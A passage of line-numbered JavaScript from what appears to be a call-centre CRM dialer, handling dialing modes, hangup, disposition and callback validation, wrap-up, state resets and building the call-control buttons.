| 448 | if(kstychCall['crmid']!="") | ||
| 449 | { | ||
| 450 | kSetDData('C','mCallState','Call'); | ||
| 451 | kSetDData('C','ts_Call',getNowTS()); | ||
| 452 | |||
| 453 | if(kstychCall['crmid']==0) | ||
| 454 | { | ||
| 455 | createSearchRecordDiv('dialersearchresults'); | ||
| 456 | } | ||
| 457 | updateDialerState(); | ||
| 458 | } | ||
| 459 | else | ||
| 460 | { | ||
| 461 | kSetDData('C','previewcrmid',''); | ||
| 462 | updateDialerState("dialer","mDialerState","Manual"); | ||
| 463 | } | ||
| 464 | }); | ||
| 465 | } | ||
| 466 | else | ||
| 467 | { | ||
| 468 | simpleNotification('error','topRight',"Empty Number"); | ||
| 469 | } | ||
| 470 | } | ||
| 471 | if(kstychDialer['mDialerState']=="DialNext") | ||
| 472 | { | ||
| 473 | doAjax('dialer?action=newcall&client='+client,datastr,'dialersearchresults', 'ajax_manualdial','singlefail','POST', function(retstr){ | ||
| 474 | if(kstychCall['crmid']!="") | ||
| 475 | { | ||
| 476 | kSetDData('C','mCallState','Call'); | ||
| 477 | kSetDData('C','ts_Call',getNowTS()); | ||
| 478 | |||
| 479 | updateDialerState(); | ||
| 480 | } | ||
| 481 | else | ||
| 482 | { | ||
| 483 | simpleNotification('error','topRight',"Failed to Dial Next ["+kstychDialer['mDialNextStatus']+"] Record"); | ||
| 484 | |||
| 485 | kSetDData('C','previewcrmid',''); | ||
| 486 | updateDialerState("dialer","mDialerState","DialNext"); | ||
| 487 | } | ||
| 488 | }); | ||
| 489 | } | ||
| 490 | if(kstychDialer['mDialerState']=="Progressive") | ||
| 491 | { | ||
| 492 | doAjax('dialer?action=newcall&client='+client,datastr,'dialersearchresults', 'ajax_manualdial','singlefail','POST', function(retstr){ | ||
| 493 | if(kstychCall['crmid']!="") | ||
| 494 | { | ||
| 495 | kSetDData('C','mCallState','Call'); | ||
| 496 | kSetDData('C','ts_Call',getNowTS()); | ||
| 497 | |||
| 498 | updateDialerState(); | ||
| 499 | } | ||
| 500 | else | ||
| 501 | { | ||
| 502 | simpleNotification('error','topRight',"Failed to Dial Next ["+kstychDialer['mDialNextStatus']+"] Record"); | ||
| 503 | //Cleanup? | ||
| 504 | |||
| 505 | kSetDData('C','previewcrmid',''); | ||
| 506 | updateDialerState("dialer","mDialerState","DialNext"); | ||
| 507 | } | ||
| 508 | }); | ||
| 509 | } | ||
| 510 | |||
| 511 | |||
| 512 | //check if current state is valid to make a call | ||
| 513 | //prepare ajax parameters | ||
| 514 | //call dialer controller to submit request | ||
| 515 | //check return values for success | ||
| 516 | //update dialer and call objects | ||
| 517 | } | ||
| 518 | function hangupCall() | ||
| 519 | { | ||
| 520 | kstychCall['ts_now']=getNowTS(); | ||
| 521 | |||
| 522 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 523 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 524 | doAjax('dialer?action=hangupall',datastr,'', 'ajax_manualdial','singlefail','POST', | ||
| 525 | function(retstr){ | ||
| 526 | |||
| 527 | if(retstr.responseText.indexOf('Error')<0) | ||
| 528 | { | ||
| 529 | kSetDData('C','mCallState',"Dispo"); | ||
| 530 | kSetDData('C','ts_Dispo',getNowTS()); | ||
| 531 | |||
| 532 | if(kstychDialer["keeplocalconf"]==0) | ||
| 533 | { | ||
| 534 | try{sipHangUp();}catch(e){console.log(e);} | ||
| 535 | var dialerConnection=kGetDData("D","connection"); | ||
| 536 | dialerConnection['connected']=0; | ||
| 537 | dialerConnection['channel']=''; | ||
| 538 | updateDialerState("dialer","connection",dialerConnection); | ||
| 539 | } | ||
| 540 | else updateDialerState(); | ||
| 541 | } | ||
| 542 | else | ||
| 543 | { | ||
| 544 | simpleNotification('error','topRight',retstr.responseText); | ||
| 545 | updateDialerState(); | ||
| 546 | } | ||
| 547 | }); | ||
| 548 | } | ||
| 549 | function saveCloseDialerCall(flag) | ||
| 550 | { | ||
| 551 | kstychCall['userstatus']=$('#dialer_userstatus').val(); | ||
| 552 | kstychCall['usersubstatus']=$('#dialer_usersubstatus').val(); | ||
| 553 | kstychCall['usercallback']=$('#dialer_usercallback').val(); | ||
| 554 | kstychCall["attempt"]=$('#attempt').val();//attempt dropdown value insert | ||
| 555 | |||
| 556 | //kstychCall['userremarks']=$('#dialer_userremarks').val(); | ||
| 557 | //4000 character limit remark By PrashanT Jadhav | ||
| 558 | kstychCall['fullremark']=$('#dialer_fullremarks').val(); | ||
| 559 | |||
| 560 | kstychCall['userflag']=$('#dialer_flag').val(); | ||
| 561 | kstychCall['priority']=$('#priority').val(); | ||
| 562 | |||
| 563 | |||
| 564 | kstychCall['bttc_day']=$('#bttc_day').val(); | ||
| 565 | kstychCall['bttc_hrs']=$('#bttc_hrs').val(); | ||
| 566 | kstychCall['serv_vs_prod']=$('#serv_vs_prod').val(); | ||
| 567 | kstychCall['resolution']=$('#resolution').val(); | ||
| 568 | kstychCall['satisfy']=$('#satisfy').val(); | ||
| 569 | kstychCall['final_call_assess']=$('#final_call_assess').val(); | ||
| 570 | |||
| 571 | //Supervisor Call Management Value - By Manish on 16-02-17 | ||
| 572 | kstychCall['agentcomments']=$('#agent_comment').val(); | ||
| 573 | kstychCall['supcomntid']=$('#sup_comnt_id').val(); | ||
| 574 | var client = $('#tcampaign_select').val(); | ||
| 575 | |||
| 576 | if(typeof customerDispofields != 'undefined')kstychCall['userdata']=customerDispofields; | ||
| 577 | |||
| 578 | if(flag=="AUTOWRAPUP") | ||
| 579 | { | ||
| 580 | kstychCall['userstatus']="AUTOWRAPUP"; | ||
| 581 | kstychCall['usersubstatus']="AUTOWRAPUP"; | ||
| 582 | $('#dialer_usercallback').val(""); | ||
| 583 | kstychCall['usercallback']=""; | ||
| 584 | kstychCall['userremarks']=""; | ||
| 585 | kstychCall['userflag']=""; | ||
| 586 | } | ||
| 587 | else if(flag=="REDIAL") | ||
| 588 | { | ||
| 589 | kstychCall['userstatus']="REDIAL"; | ||
| 590 | kstychCall['usersubstatus']="REDIAL"; | ||
| 591 | $('#dialer_usercallback').val(""); | ||
| 592 | kstychCall['usercallback']=""; | ||
| 593 | kstychCall['userremarks']=""; | ||
| 594 | kstychCall['userflag']=""; | ||
| 595 | |||
| 596 | kstychDialer['RedialLast']='Yes'; | ||
| 597 | } | ||
| 598 | else if(!$('#dialer_userstatus').length) | ||
| 599 | { | ||
| 600 | kstychCall['userstatus']="NORECORD"; | ||
| 601 | kstychCall['usersubstatus']="NORECORD"; | ||
| 602 | kstychCall['usercallback']=""; | ||
| 603 | kstychCall['userremarks']=""; | ||
| 604 | kstychCall['userflag']=""; | ||
| 605 | |||
| 606 | $('#dialer_usercallback').val(""); | ||
| 607 | } | ||
| 608 | else | ||
| 609 | { | ||
| 610 | |||
| 611 | |||
| 612 | if(kstychCall['userstatus']==""||kstychCall['usersubstatus']=="") | ||
| 613 | { | ||
| 614 | simpleNotification('error','topRight',"Please Select Disposition and Subdisposition"); | ||
| 615 | return; | ||
| 616 | } | ||
| 617 | |||
| 618 | //For $ dropdown Condition - Changes done By Manish on 27-10-16 | ||
| 619 | /*if(kstychCall['userstatus']=="Contacted - FollowUp - Specific" || kstychCall['userstatus']=="Contacted - Follow-Up - Generic") | ||
| 620 | { | ||
| 621 | if(kstychCall['final_call_assess']==""&&kstychCall['serv_vs_prod']==""&&kstychCall['resolution']==""&&kstychCall['satisfy']=="") | ||
| 622 | { | ||
| 623 | simpleNotification('Error','topRight',"Please Select ALL(Service vs Product and Resolution and Satisfaction and Final_call_Assessment)"); | ||
| 624 | return; | ||
| 625 | } | ||
| 626 | }*/ | ||
| 627 | |||
| 628 | if(kstychCall['userstatus'].toLowerCase().indexOf("followup")>-1||kstychCall['userstatus'].toLowerCase().indexOf("callback")>-1) | ||
| 629 | { | ||
| 630 | if($('#dialer_usercallback').val()=="") | ||
| 631 | { | ||
| 632 | simpleNotification('error','topRight',"Please select Callback date within one month in future"); | ||
| 633 | return; | ||
| 634 | } | ||
| 635 | } | ||
| 636 | else | ||
| 637 | { | ||
| 638 | if($('#dialer_usercallback').val()!="") | ||
| 639 | { | ||
| 640 | simpleNotification('error','topRight',"You Cannot input Callback date time in this Disposition"); | ||
| 641 | return; | ||
| 642 | } | ||
| 643 | } | ||
| 644 | |||
| 645 | |||
| 646 | var date1 = new Date(); | ||
| 647 | var date2 = new Date($('#dialer_usercallback').val()); | ||
| 648 | var diff = date2.getTime() - date1.getTime(); | ||
| 649 | if(diff<0||diff>30*24*60*60*1000) | ||
| 650 | { | ||
| 651 | simpleNotification('error','topRight',"Please select Callback date within one month in future"); | ||
| 652 | return; | ||
| 653 | } | ||
| 654 | var hours = date2.getHours(); | ||
| 655 | var mins = date2.getMinutes(); | ||
| 656 | var fullhour=hours+(mins/60); | ||
| 657 | if(fullhour<9||fullhour>19) | ||
| 658 | { | ||
| 659 | simpleNotification('error','topRight',"Please select Callback Time date within 9AM and 7PM"); | ||
| 660 | return; | ||
| 661 | } | ||
| 662 | |||
| 663 | } | ||
| 664 | |||
| 665 | if($("#recruitsavedata").length)$("#recruitsavedata").click();//TODO hold div in reset, or any error will be lost | ||
| 666 | |||
| 667 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 668 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 669 | //console.log("datastr----"+datastr); | ||
| 670 | doAjax('dialer?action=closecall',datastr,'', 'ajax_manualdial','singlefail','POST', | ||
| 671 | function(retstr){ | ||
| 672 | kSetDData('C','mCallState',"Close"); | ||
| 673 | kSetDData('C','ts_Close',getNowTS()); | ||
| 674 | updateDialerState("action","reset",""); | ||
| 675 | }); | ||
| 676 | |||
| 677 | //Dialog box after Save & Close-Taking from KFormLib.php | ||
| 678 | $finalCallAssess = $('#final_call_assess').val(); | ||
| 679 | |||
| 680 | if($finalCallAssess == 'Very Good Call With Customer') | ||
| 681 | { | ||
| 682 | /*$.gritter.add({ | ||
| 683 | title: 'type', | ||
| 684 | text: 'text', | ||
| 685 | class_name: 'gritter-b-center' | ||
| 686 | });*/ | ||
| 687 | $('#goodCall').dialog({ | ||
| 688 | modal: true, | ||
| 689 | position: ['center'], | ||
| 690 | resizable: false, | ||
| 691 | closeOnEscape: false, | ||
| 692 | open: function(event, ui){ | ||
| 693 | $(".ui.dialog-titlebar-close", ui.dialog | ui).hide(); | ||
| 694 | setTimeout(function(){$('#goodCall').dialog('close');},5000); | ||
| 695 | } | ||
| 696 | }); | ||
| 697 | |||
| 698 | //setTimeout(function(){$('#goodCall').dialog('close');},5000); | ||
| 699 | } | ||
| 700 | |||
| 701 | if($finalCallAssess == 'Ok Call') | ||
| 702 | { | ||
| 703 | $('#okCall').dialog({ | ||
| 704 | open: function(event, ui){ | ||
| 705 | $(this).css({'max-height':500, 'overflow-y':'auto'}); | ||
| 706 | }, | ||
| 707 | modal: true, | ||
| 708 | position: ['center'], | ||
| 709 | resizable: false, | ||
| 710 | closeOnEscape: false}); | ||
| 711 | |||
| 712 | setTimeout(function(){$('#okCall').dialog('close');},5000); | ||
| 713 | } | ||
| 714 | |||
| 715 | if($finalCallAssess == 'Not Interested Customer') | ||
| 716 | { | ||
| 717 | $('#notInterest').dialog({ | ||
| 718 | open: function(event, ui){ | ||
| 719 | $(this).css({'max-height':500, 'overflow-y':'auto'}); | ||
| 720 | }, | ||
| 721 | modal: true, | ||
| 722 | position: ['center'], | ||
| 723 | resizable: false, | ||
| 724 | closeOnEscape: false}); | ||
| 725 | |||
| 726 | setTimeout(function(){$('#notInterest').dialog('close');},5000); | ||
| 727 | } | ||
| 728 | |||
| 729 | if($finalCallAssess == 'Iritated Customer') | ||
| 730 | { | ||
| 731 | $('#iritCust').dialog({ | ||
| 732 | open: function(event, ui){ | ||
| 733 | $(this).css({'max-height':500, 'overflow-y':'auto'}); | ||
| 734 | }, | ||
| 735 | modal: true, | ||
| 736 | position: ['center'], | ||
| 737 | resizable: false, | ||
| 738 | closeOnEscape: false}); | ||
| 739 | |||
| 740 | setTimeout(function(){$('#iritCust').dialog('close');},5000); | ||
| 741 | } | ||
| 742 | |||
| 743 | if($finalCallAssess == 'Angry') | ||
| 744 | { | ||
| 745 | $('#angry').dialog({ | ||
| 746 | open: function(event, ui){ | ||
| 747 | $(this).css({'max-height':500, 'overflow-y':'auto'}); | ||
| 748 | }, | ||
| 749 | modal: true, | ||
| 750 | position: ['center'], | ||
| 751 | resizable: false, | ||
| 752 | closeOnEscape: false}); | ||
| 753 | |||
| 754 | setTimeout(function(){$('#angry').dialog('close');},5000); | ||
| 755 | } | ||
| 756 | } | ||
| 757 | |||
| 758 | function showWrapUp() | ||
| 759 | { | ||
| 760 | kstychCall['userstatus']="Paused"; | ||
| 761 | kstychCall['usersubstatus']="WRAPUP"; | ||
| 762 | $('#dialer_usercallback').val(""); | ||
| 763 | kstychCall['usercallback']=""; | ||
| 764 | kstychCall['userremarks']=""; | ||
| 765 | kstychCall['userflag']=""; | ||
| 766 | |||
| 767 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 768 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 769 | doAjax('dialer?action=wrapup',datastr,'', 'ajax_manualdial','singlefail','POST', | ||
| 770 | function(retstr){ | ||
| 771 | dialerTimersUpdate(); | ||
| 772 | }); | ||
| 773 | } | ||
| 774 | |||
| 775 | function resetDialer() | ||
| 776 | { | ||
| 777 | if(kstychDialer['RedialLast']=="Yes") | ||
| 778 | { | ||
| 779 | kstychDialer['RedialLast']=''; | ||
| 780 | |||
| 781 | kSetDData('C','mCallState',"Wait"); | ||
| 782 | kSetDData('C','ts_Wait',getNowTS()); | ||
| 783 | kSetDData('C','ts_Call',0); | ||
| 784 | kSetDData('C','ts_Talk',0); | ||
| 785 | kSetDData('C','ts_Dispo',0); | ||
| 786 | kSetDData('C','ts_Close',0); | ||
| 787 | |||
| 788 | updateDialerState("action","dialnext"); | ||
| 789 | |||
| 790 | return; | ||
| 791 | } | ||
| 792 | |||
| 793 | |||
| 794 | var dialerResetForceState=kstychDialer['mDialerState']; | ||
| 795 | var dialerResetForceSubState=kstychDialer['mDialerSubState']; | ||
| 796 | |||
| 797 | dialerResetForceState="Progressive";//Hardcoded TODO change to config | ||
| 798 | dialerResetForceSubState=""; | ||
| 799 | |||
| 800 | if(kstychCall['userstatus']=="AUTOWRAPUP") | ||
| 801 | { | ||
| 802 | dialerResetForceState="Paused"; | ||
| 803 | dialerResetForceSubState="AUTOWRAPUP"; | ||
| 804 | } | ||
| 805 | |||
| 806 | if(kstychCall['userstatus']=="WRAPUP") | ||
| 807 | { | ||
| 808 | dialerResetForceState="Paused"; | ||
| 809 | dialerResetForceSubState="WRAPUP"; | ||
| 810 | } | ||
| 811 | |||
| 812 | //TODO check hangup any connections? | ||
| 813 | |||
| 814 | $("#dialersearchresults").html("");//CANNOT clear this until we have a solution of error handling in save form | ||
| 815 | $("#manualdialnumber_txt").val(""); | ||
| 816 | |||
| 817 | resetCallArray(); | ||
| 818 | |||
| 819 | $("#dialersearchbox").html(""); | ||
| 820 | $(".dialer_conf_divs").remove(); | ||
| 821 | |||
| 822 | updateDialerState("dialer","mDialerState",dialerResetForceState,"mDialerSubState",dialerResetForceSubState); | ||
| 823 | |||
| 824 | } | ||
| 825 | function resetCallArray() | ||
| 826 | { | ||
| 827 | kSetDData('C','mCallState',"Wait"); | ||
| 828 | kSetDData('C','ts_Wait',getNowTS()); | ||
| 829 | kSetDData('C','ts_Call',0); | ||
| 830 | kSetDData('C','ts_Talk',0); | ||
| 831 | kSetDData('C','ts_Dispo',0); | ||
| 832 | kSetDData('C','ts_Close',0); | ||
| 833 | kSetDData('C','callnumber',""); | ||
| 834 | kSetDData('C','connections',{}); | ||
| 835 | kSetDData('C','callid',""); | ||
| 836 | kSetDData('C','crmid',""); | ||
| 837 | kSetDData('C','campaignid',""); | ||
| 838 | kSetDData('C','listid',""); | ||
| 839 | kSetDData('C','mdial_CallACK',""); | ||
| 840 | kSetDData('C','mcalldata',""); | ||
| 841 | |||
| 842 | kSetDData('C','userstatus',""); | ||
| 843 | kSetDData('C','usersubstatus',""); | ||
| 844 | kSetDData('C','usercallback',""); | ||
| 845 | kSetDData('C','userremarks',""); | ||
| 846 | kSetDData('C','agentcomments',""); | ||
| 847 | kSetDData('C','supcomntid',""); | ||
| 848 | kSetDData('C','userflag',""); | ||
| 849 | kSetDData('C','bttc_day',""); | ||
| 850 | kSetDData('C','bttc_hrs',""); | ||
| 851 | kSetDData('C','serv_vs_prod',""); | ||
| 852 | kSetDData('C','resolution',""); | ||
| 853 | kSetDData('C','satisfy',""); | ||
| 854 | kSetDData('C','final_call_assess',""); | ||
| 855 | kSetDData('C','userdata',{}); | ||
| 856 | if(typeof customerDispofields != 'undefined')customerDispofields={}; | ||
| 857 | |||
| 858 | kSetDData('C','previewcrmid',""); | ||
| 859 | kSetDData('C','callWrapupTime',300); | ||
| 860 | kSetDData('C','prograssiveDelay',120); | ||
| 861 | } | ||
| 862 | |||
| 863 | function updateDialerState(objstr,key,val,key2,val2) | ||
| 864 | { | ||
| 865 | if(objstr=="dialer") | ||
| 866 | { | ||
| 867 | kSetDData("D",key,val); | ||
| 868 | kSetDData("D",key2,val2); | ||
| 869 | if(key=='mDialerState') | ||
| 870 | { | ||
| 871 | if(!key2||key2=="")kSetDData("D","mDialerSubState",""); | ||
| 872 | |||
| 873 | if(val=="Paused") | ||
| 874 | { | ||
| 875 | resetCallArray(); | ||
| 876 | } | ||
| 877 | |||
| 878 | if(val=="Ready") | ||
| 879 | { | ||
| 880 | resetCallArray(); | ||
| 881 | } | ||
| 882 | |||
| 883 | |||
| 884 | |||
| 885 | $("#dialersearchresults").html(""); | ||
| 886 | kSetDData('C','ts_Wait',getNowTS());//TODO reset here? | ||
| 887 | |||
| 888 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 889 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 890 | var client = $('#tcampaign_select').val(); | ||
| 891 | |||
| 892 | doAjax('dialer?action=dialerstate&client='+client,datastr,'', 'ajax_manualdial','singlefail','POST', | ||
| 893 | function(retstr){ | ||
| 894 | |||
| 895 | // if(val=="Progressive"||(kstychCall['previewcrmid']!=""&&kstychCall['previewcrmid']>0)) | ||
| 896 | // { | ||
| 897 | // if(kstychCall['final_call_assess']=='' || kstychCall['final_call_assess']!=undefined){ | ||
| 898 | // setTimeout(function(){doAjax('dialer?action=previewnext',datastr,'dialersearchresults', 'ajax_manualdial2','singlefail','POST', | ||
| 899 | // function(retstr){ | ||
| 900 | // if(kstychCall['previewcrmid']!="") | ||
| 901 | // { | ||
| 902 | // updateDialerState(); | ||
| 903 | // } | ||
| 904 | // else | ||
| 905 | // { | ||
| 906 | // resetCallArray(); | ||
| 907 | // simpleNotification('error','topRight',"Failed to Dial Next Record"); | ||
| 908 | // updateDialerState("dialer","mDialerState","DialNext"); | ||
| 909 | // } | ||
| 910 | // });},4000); | ||
| 911 | // }else | ||
| 912 | // { | ||
| 913 | // doAjax('dialer?action=previewnext',datastr,'dialersearchresults', 'ajax_manualdial2','singlefail','POST', | ||
| 914 | // function(retstr){ | ||
| 915 | // if(kstychCall['previewcrmid']!="") | ||
| 916 | // { | ||
| 917 | // updateDialerState(); | ||
| 918 | // } | ||
| 919 | // else | ||
| 920 | // { | ||
| 921 | // resetCallArray(); | ||
| 922 | // simpleNotification('error','topRight',"Failed to Dial Next Record"); | ||
| 923 | // updateDialerState("dialer","mDialerState","DialNext"); | ||
| 924 | // } | ||
| 925 | // }); | ||
| 926 | // } | ||
| 927 | |||
| 928 | // } | ||
| 929 | |||
| 930 | if(val=="Progressive"||(kstychCall['previewcrmid']!=""&&kstychCall['previewcrmid']>0)) | ||
| 931 | { | ||
| 932 | doAjax('dialer?action=previewnext&client='+client,datastr,'dialersearchresults', 'ajax_manualdial2','singlefail','POST', | ||
| 933 | function(retstr){ | ||
| 934 | if(kstychCall['previewcrmid']!="") | ||
| 935 | { | ||
| 936 | updateDialerState(); | ||
| 937 | } | ||
| 938 | else | ||
| 939 | { | ||
| 940 | resetCallArray(); | ||
| 941 | simpleNotification('error','topRight',"Failed to Dial Next Record"); | ||
| 942 | updateDialerState("dialer","mDialerState","DialNext"); | ||
| 943 | } | ||
| 944 | |||
| 945 | //kstychCall['previewcrmid']=''; | ||
| 946 | }); | ||
| 947 | |||
| 948 | } | ||
| 949 | |||
| 950 | updateDialerState(); | ||
| 951 | }); | ||
| 952 | } | ||
| 953 | } | ||
| 954 | if(objstr=="call") | ||
| 955 | { | ||
| 956 | kSetDData('C',key,val); | ||
| 957 | kSetDData("C",key2,val2); | ||
| 958 | } | ||
| 959 | |||
| 960 | if(objstr=="action") | ||
| 961 | { | ||
| 962 | if(key=="dialnext") | ||
| 963 | { | ||
| 964 | outgoingCall(); | ||
| 965 | } | ||
| 966 | if(key=="hangupall") | ||
| 967 | { | ||
| 968 | hangupCall(); | ||
| 969 | } | ||
| 970 | if(key=="saveclose") | ||
| 971 | { | ||
| 972 | saveCloseDialerCall(); | ||
| 973 | } | ||
| 974 | if(key=="reset") | ||
| 975 | { | ||
| 976 | resetDialer(); | ||
| 977 | } | ||
| 978 | } | ||
| 979 | |||
| 980 | updateDialerUI(); | ||
| 981 | ////////////////////////////////////////////////////////////// | ||
| 982 | if(objstr=="")return; | ||
| 983 | |||
| 984 | //$("#kTopBarExtra").parent().addClass("open"); | ||
| 985 | |||
| 986 | //run this function on every state change? | ||
| 987 | //take dialer and call objects and send to controller for update | ||
| 988 | } | ||
| 989 | function updateDialerUI() | ||
| 990 | { | ||
| 991 | $("#spandialer_num").html(kstychCall["callnumber"]); | ||
| 992 | if(kstychCall["callnumber"]!="")$("#dialertimes2").show(); | ||
| 993 | else $("#dialertimes2").hide(); | ||
| 994 | |||
| 995 | if($("#dialerManualAllowLI").length)kSetDData("D",'mmanualallow','Yes'); | ||
| 996 | |||
| 997 | ////////////////////////////////////////////////////////////// | ||
| 998 | var statestr="<i class='fa fa-phone'></i> : "+kstychDialer['mDialerState']; | ||
| 999 | if(kstychDialer['mDialerState']=="Paused")statestr="<i class='fa fa-pause'></i> : "+kstychDialer['mDialerSubState']; | ||
| 1000 | if(kstychDialer['mDialerState']=="Ready")statestr="<i class='fa fa-phone'></i> : "+kstychDialer['mDialerSubState']; | ||
| 1001 | $("#dialerstate_btn").html(statestr); | ||
| 1002 | |||
| 1003 | |||
| 1004 | if(kstychDialer['mDialerState']=="Paused") | ||
| 1005 | { | ||
| 1006 | $("#dialerstate_div").width("150px"); | ||
| 1007 | $("#manualdial_btn").hide();$("#manualdialnumber_txt").hide(); | ||
| 1008 | $("#dialerstate_btn").parent().removeClass("rounded-left"); | ||
| 1009 | $("#dialerstate_btn").parent().removeClass("btn-info").addClass("btn-primary"); | ||
| 1010 | } | ||
| 1011 | else if(kstychDialer['mDialerState']=="Ready") | ||
| 1012 | { | ||
| 1013 | $("#dialerstate_div").width("150px"); | ||
| 1014 | $("#manualdial_btn").show();$("#manualdialnumber_txt").hide(); | ||
| 1015 | $("#dialerstate_btn").parent().addClass("rounded-left"); | ||
| 1016 | $("#dialerstate_btn").parent().removeClass("btn-primary").addClass("btn-info"); | ||
| 1017 | } | ||
| 1018 | else if(kstychDialer['mDialerState']=="Manual") | ||
| 1019 | { | ||
| 1020 | $("#dialerstate_div").width("350px"); | ||
| 1021 | $("#manualdial_btn").show();$("#manualdialnumber_txt").show(); | ||
| 1022 | $("#dialerstate_btn").parent().addClass("rounded-left"); | ||
| 1023 | $("#dialerstate_btn").parent().removeClass("btn-primary").addClass("btn-info"); | ||
| 1024 | } | ||
| 1025 | else if(kstychDialer['mDialerState']=="DialNext") | ||
| 1026 | { | ||
| 1027 | $("#dialerstate_div").width("150px"); | ||
| 1028 | $("#manualdial_btn").show();$("#manualdialnumber_txt").hide(); | ||
| 1029 | $("#dialerstate_btn").parent().addClass("rounded-left"); | ||
| 1030 | $("#dialerstate_btn").parent().removeClass("btn-primary").addClass("btn-info"); | ||
| 1031 | } | ||
| 1032 | else if(kstychDialer['mDialerState']=="Progressive") | ||
| 1033 | { | ||
| 1034 | $("#dialerstate_div").width("150px"); | ||
| 1035 | $("#manualdial_btn").show();$("#manualdialnumber_txt").hide(); | ||
| 1036 | $("#dialerstate_btn").parent().removeClass("rounded-left"); | ||
| 1037 | $("#dialerstate_btn").parent().removeClass("btn-primary").addClass("btn-info"); | ||
| 1038 | } | ||
| 1039 | ////////////////////////////////////////////////////////////// | ||
| 1040 | |||
| 1041 | ////////////////////////////////////////////////////////////// | ||
| 1042 | var uStateArr=[]; | ||
| 1043 | uStateArr['conficon_u_a']='btn-primary';uStateArr['conficon_u_i']='fa-chain-broken'; | ||
| 1044 | if(kstychDialer['connection']['connected']==1) | ||
| 1045 | { | ||
| 1046 | uStateArr['conficon_u_a']='btn-success';uStateArr['conficon_u_i']='fa-chain'; | ||
| 1047 | } | ||
| 1048 | uStateArr['mic']='UnMuteMic';uStateArr['micicon']='fa-microphone-slash'; | ||
| 1049 | if(kstychDialer['connection']['mic']==1) | ||
| 1050 | { | ||
| 1051 | uStateArr['mic']='MuteMic';uStateArr['micicon']='fa-microphone'; | ||
| 1052 | } | ||
| 1053 | |||
| 1054 | var calluhtml="<a data-toggle='dropdown' href='#' class='btn btn-stroke "+uStateArr['conficon_u_a']+" btn-circle dropdown-toggle' onmouseout='$(this).blur()' id=conficon_u_a><i class='fa "+uStateArr['conficon_u_i']+"' id=conficon_u_i></i> </a>"; | ||
| 1055 | calluhtml+="<ul class='dropdown-menu'>"; | ||
| 1056 | calluhtml+="<li data-toggle='tooltip' data-title='My Channel' data-placement='left' data-tcontainer='body'><a href='#' onclick='return false;'><i class='fa fa-info'></i></a></li>"; | ||
| 1057 | //calluhtml+="<li data-toggle='tooltip' data-title='MuteSpeaker' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"u\",\"MuteSpeaker\");return false;'><i class='fa fa-volume-off'></i></a></li>"; | ||
| 1058 | calluhtml+="<li data-toggle='tooltip' data-title='"+uStateArr['mic']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"u\",\""+uStateArr['mic']+"\");return false;'><i class='fa "+uStateArr['micicon']+"'></i></a></li>"; | ||
| 1059 | //calluhtml+="<li data-toggle='tooltip' data-title='Hangup' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"u\",\"Hangup\");return false;'><i class='fa fa-times-circle'></i></a></li>"; | ||
| 1060 | //calluhtml+="<li data-toggle='tooltip' data-title='Hold' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"u\",\"Hold\");return false;'><i class='fa fa-pause'></i></a></li>"; | ||
| 1061 | calluhtml+="</ul>"; | ||
| 1062 | $("#connections_div_u").html(calluhtml); | ||
| 1063 | |||
| 1064 | $(".dialer_conf_divs").remove(); | ||
| 1065 | var confhtml=''; | ||
| 1066 | for(var key in kstychCall['connections']) | ||
| 1067 | { | ||
| 1068 | if(kstychCall['connections'].hasOwnProperty(key)) | ||
| 1069 | { | ||
| 1070 | if(key==kstychCall['callnumber']) | ||
| 1071 | { | ||
| 1072 | var cStateArr=[]; | ||
| 1073 | cStateArr['conficon_c0_a']='btn-primary';cStateArr['conficon_c0_i']='fa-chain-broken'; | ||
| 1074 | if(kstychCall['connections'][key]['connected']==1) | ||
| 1075 | { | ||
| 1076 | cStateArr['conficon_c0_a']='btn-success';cStateArr['conficon_c0_i']='fa-chain'; | ||
| 1077 | } | ||
| 1078 | cStateArr['mic']='UnMuteMic';cStateArr['micicon']='fa-microphone-slash'; | ||
| 1079 | if(kstychCall['connections'][key]['mic']==1) | ||
| 1080 | { | ||
| 1081 | cStateArr['mic']='MuteMic';cStateArr['micicon']='fa-microphone'; | ||
| 1082 | } | ||
| 1083 | cStateArr['speaker']='UnMuteSpeaker';cStateArr['speakericon']='fa-volume-off'; | ||
| 1084 | if(kstychCall['connections'][key]['speaker']==1) | ||
| 1085 | { | ||
| 1086 | cStateArr['speaker']='MuteSpeaker';cStateArr['speakericon']='fa-volume-up'; | ||
| 1087 | } | ||
| 1088 | cStateArr['holdext']='UnHold';cStateArr['holdexticon']='fa-play'; | ||
| 1089 | if(kstychCall['connections'][key]['holdext']=='') | ||
| 1090 | { | ||
| 1091 | cStateArr['holdext']='Hold';cStateArr['holdexticon']='fa-pause'; | ||
| 1092 | } | ||
| 1093 | |||
| 1094 | var callchtml="<a data-toggle='dropdown' href='#' class='btn btn-stroke "+cStateArr['conficon_c0_a']+" btn-circle dropdown-toggle' onmouseout='$(this).blur()' id=conficon_c0_a><i class='fa "+cStateArr['conficon_c0_i']+"' id=conficon_c0_i></i> </a>"; | ||
| 1095 | callchtml+="<ul class='dropdown-menu'>"; | ||
| 1096 | callchtml+="<li data-toggle='tooltip' data-title='"+key+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='return false;'><i class='fa fa-info'></i></a></li>"; | ||
| 1097 | callchtml+="<li data-toggle='tooltip' data-title='"+cStateArr['speaker']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"c\",\""+cStateArr['speaker']+"\");return false;'><i class='fa "+cStateArr['speakericon']+"'></i></a></li>"; | ||
| 1098 | callchtml+="<li data-toggle='tooltip' data-title='"+cStateArr['mic']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"c\",\""+cStateArr['mic']+"\");return false;'><i class='fa "+cStateArr['micicon']+"'></i></a></li>"; | ||
